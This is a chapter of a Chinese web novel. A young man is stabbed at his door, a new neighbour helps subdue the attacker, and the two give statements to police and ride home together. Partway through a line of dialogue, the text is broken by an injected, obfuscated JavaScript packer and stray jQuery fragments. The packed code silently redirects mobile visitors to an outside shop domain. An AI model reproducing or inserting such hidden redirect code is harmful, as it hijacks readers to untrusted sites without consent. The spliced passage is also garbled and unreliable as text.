3. 没替你挨,是条件反射
    时恪大步跨上前,可惜只抓住了许函的黄色衣角。

    他眉头紧锁却毫不犹豫,立刻转换手法,扯着那点布料在手上绕了半圈,向后狠狠一拽!

    许函瞬间被衣领勒住脖子,这股惯性让他退了半步,“呲啦——”一声,刀尖划破了陌生男人的衣服。

    顾不得其他,时恪一个侧身闪过挡在了男人身前,握拳照着许函的脸就挥了过去。

    这一拳角度刁钻,指骨精准地砸在他的眼眶旁。

    许函的眼睛顿时胀痛难忍,他捂着眼,泪水不受控制的流了出来,摇晃着身体,脚步趔趄。

    “打通了吗?”时恪稍侧过脸问身后的男人。

    男人还来不及反应,更惊讶于时恪的身手,“通……低头!”

    时恪反应很快,刚俯下身便感觉耳旁一阵劲风刮过。

    男人越过自己踹了许函一脚,接着时恪听见一声“咔嚓”闷响,再抬头便见地上跪了个人。

    许函手扶着膝盖,双腿打颤站不起来了,而原本握着的刀被踹脱了手,飞出去三米远。

    “啐!”

    许函吐了口唾沫,双眼充血得吓人,他恶狠狠地盯着男人破口大骂道:“妈的你有病啊?!他是你爹啊关你屁事?!”

    这头电话已经接通了,男人正快速向警察描述现场情况。

    眼见情形不妙,许函顿时急火攻心,决定破罐子破摔,“妈的晦气!今天一个都别想好过!”

    不对劲……时恪注意到许函的左手一直藏在身后。

    他立刻看了眼三人的站位,自己离许函有些远,反倒是那陌生人就在许函身侧一米不到的位置。

    时恪的危机预判起了作用,他立刻上前一步。

    许函露出了左手,他果然还藏了块玻璃!

    许函奋力挥斩,那凶器快得只剩虚影,朝他身旁男人的腹部一刺!

    这个距离很难躲开,而时恪已经扑了上来,伸手握住了玻璃。

    他骨节泛白,青筋凸起,颤抖着和许函对抗,血珠不断从指缝间溢出,顺着衣袖往下淌。

    他们僵持了两秒,或者两秒不到。

    时恪后背一热,陌生男人靠了过来,一双手越过时恪肩头牢牢控制住许函的手腕,“松开。”

    男人的声音出现在时恪头顶。

    就在时恪放手的瞬间,男人按住许函的手腕关节,使了个寸劲往下一掰!

    又是“咔嚓”一声,折了。

    时恪不给许函任何喘息的机会,立刻接上动作,对着他的下巴一记重击!

    对面失去重心向后仰倒,时恪迅速将人制服。

    “来。姓名、年龄、住址、电话和身份证号都报一下。”

    警官用手叩了叩桌子,抬眼打量着对面两人。

    许函已经被押去隔壁审讯室,他俩在值班警察工位对面,一人搬了一把椅子,男人特意把有靠背的软垫椅推给时恪。

    二人就这么并排坐着,中间隔了半臂距离。

    时恪没说话,这会儿却不动声色地用余光打量对方。

    这人长了副顶好的模样,轮廓深邃立体,面部线条干净又利落。

    时恪想起以前还画素描时候用来临摹练习的外模杂志,黎昀看上去像个混得不太明显的混血。

    时恪喜欢画这种类型,比教学书上那种骨骼崎岖的好看。

    隔壁审讯室传来一两句吼声,吵吵嚷嚷的跟地痞流氓似的,肯定是许函在发疯。

    时恪对许函这事儿没什么感觉,他当时已经做了最坏的打算,无非两人同归于尽。

    反倒这位从天而降的热心市民让他有点懵,时恪单打独斗惯了,尤其上高中后,多数时候的一对一都能以他的胜利告终。

    时恪没遇到过今天这种情况,一时之间弄得他有些不知所措。

    男人开口:“黎昀,28,景禾壹号8栋A603,电话是……”

    等会儿,A603?

    种果子,种菜,种花……

    时恪侧过头去正眼瞧他,难不成是住他楼上那个?

    “该你了,”警官转向时恪,“你这伤口挺深,等下有人带你做伤情鉴定,先说下你的基本信息。”

    时恪左手掌心一片模糊,血堆积在一处已经凝固大半了,但他不能乱动,一动就往外渗。

    他清了清嗓子,“时恪,19,景禾壹号8栋A502。”

    警官用笔在两人之间来回指了两下,“邻居?”

    时恪张了张口没出声,这他也不确定。

    黎昀:“嗯,我刚搬过来。”

    “怎么发现二人争执的?”警官朝黎昀问。

    “我开着门收拾客厅,听见楼下有动静就去看了一眼,”黎昀不紧不慢的说着,口齿清晰,有条不紊。

    “穿黄衣服那人把他撞墙上了。楼道监控应该是开着的,角度正好对着过道,可以联系物业看看……”

    自时恪被许函撞到墙上后的来龙去脉被黎昀讲得清清楚楚,时恪哑然,他就记得自己被打和打人。

    警官敲着键盘,“所以,嫌疑人原本是冲着他来的,而你们并不认识,”她转向时恪,叹口气似的摇摇头,“你也是够莽的啊,就这么生握上去?”

    时恪“啊”了一声,反应了一会儿才知道警官在说自己。

    “条件反射,我不是故意的。”时恪这话说的很真诚,只不过听着像在装逼。

    黎昀笑了一下,又咂么出点儿不对劲,看着清瘦斯文一小孩儿动起手来身法娴熟的像是混过好几条街。

    他回忆起事发前,表弟发给他的一条链接分享,说是他们公司连夜加班剪的艺术展嘉宾cut,璨星娱乐下一个造星计划的头号目标人选。

    黎昀侧过头看他,两人目光短暂交接了几秒便移开了。

    头号目标年轻有为,英勇善战,大概还有着什么不太好的经历。

    “好了好了!咱们走吧,隔壁就有个三甲医院。”一个穿着警服的男人风风火火地跑了进来,手里拿着刚批下来的手续单。

    这是实习警小张,负责带时恪去做伤情鉴定。

    时恪抬头,俩人打了个照面。

    “嘿!你不是那谁,那个!”小张瞧见时恪正脸,惊讶的指着他,“天才设计师!热搜那个是不是你?”

    “……”他尴尬的皱起了眉,回了沉默。

    从时恪以往应对搭讪的经验来看,这么做至少有70%的概率能够立刻结束对话。

    小张挠了挠头,有些不好意思,“啊……不是吗?”他嘿嘿笑了两下。

    百试百灵。

    “八什么卦。”负责问话的警官一巴掌拍在小张的后脑勺,“快带人去医院!”

    医院流程比时恪以为的结束的要快。

    他左手靠近虎口的地方缝了五针,万幸医生说恢复后不影响正常活动。

    半小时后,时恪跟着小张一起回了警局。

    黎昀这边刚从办公室里出来,他替时恪支着门,轻声问:“伤口还好吗?”

    “嗯。”

    两人身位交换,门关上了。

    办公室外,小张又是风风火火地带着资料小跑过来,将笔递给黎昀。

    “黎先生,这是回执单

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309194|152289||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,在最底下签个字就能走了。”

    他接过笔,转身找了个墙面铺平纸,就是这笔好像没水了,半天划拉不出墨。

    小张在他旁边跟谁正发着语音:

    “是真人!比直播里还好看!”

    “脾气……就是有点冷淡,但人是真勇啊,一厘米多深的口子没打麻药,五针下去一声没吭!”

    破笔勉强履行完自己的职责,被黎昀还给小张,“好了。”

    小张又火急火燎地走了,嘴上八卦一直没停。

    时恪的笔录做了一个多小时。

    结合小区物业提供的监控录像来看,整个案件还是比较清晰的。

    嫌疑人许函一周前就在在景禾壹号大门口晃悠,穿着常服,行为鬼祟。

    就在昨天下午,他套了身外卖员的制服,趁着安保交班期间,跟在业主屁股后头溜进来的,在时恪楼下盯了一晚上。

    直到外卖员把餐盒放到时恪门口,许函等外卖员离开后,立刻上前拿走并躲起来,而后再上去主动敲门。

    警官:“目前嫌疑人的作案动机还不确定,我们后面应该还会联系你,记得保持手机畅通。”

    “好。谢谢付警官。”

    时恪关门的动作很轻,在空荡的走廊里却显得异常清晰,但他抬头便愣住了。

    黎昀坐在长凳上,朝刚出来的时恪挥了挥手,笑眼弯弯的。

    他以为黎昀早走了。

    黎昀的目光游移到时恪手上。

    露在绷带外的手指瘦削修长,泛着很浅很浅的血色。

    天渐渐擦黑,两人从警局出来后打了辆出租车,一左一右的坐着,中间又隔了个空。

    “谢谢。”黎昀率先打破沉默。

    时恪:“不用。”

    “本来想帮你,反倒让你受了伤,抱歉。”黎昀语气放的很轻,观察着他的表情,看不出时恪在想什么。

    时恪:“关你什么事。”

    黎昀替他报了警,危机时刻救了自己两回,时恪觉得他们之间算扯平了。

    黎昀愣了愣,时恪忽然意识到自己话有不妥,略带匆忙地补了一句,“不用道歉。”

    看着时恪纤细苍白的手,上头还有些深浅不一的疤,剪辑镜头里那种真切又慌乱眼神还留在他脑海里,“再怎么说你替你我挨了一刀,医药费我给你出。”

    “是条件反射,没替你挨,”时恪举起缠着绷带的左手晃了晃,“好着呢。”

    自作多情了。

    黎昀有些摸不清这小孩儿的性子,或许对方根本就不需要陌生人的帮助,他没再说话。

    车窗外路灯一盏盏飞速掠过,在时恪的侧脸落下斑驳的光影,他闭目靠在车座上,用沉默隔绝一切。

    “叮————”

    五层到了,时恪头也不回地出了电梯。

    家门口打斗留下的污渍已经被物业清理了,漏了支外卖勺子躺在角落,被时恪捡起来捏在手心。

    这样已经是天大的幸运了,损失了一顿饭,一部手机,但是捡回一条命。

    月光下他的身影被拉长,清瘦,单薄,左手的颤抖微不可查。

    黎昀忽然改变了主意。

    “时恪。”

    在电梯门即将关闭之前,黎昀叫住了他。

    电梯厢里的光如灯柱一般将时恪笼罩,他回过头,神色诧异,眼中带了一丝茫然。

    黎昀轻轻笑了一下,“再见。”

    电梯门关上了,时恪站在原地没动。

    这人怪自来熟的。

    ……

    ……

    再见。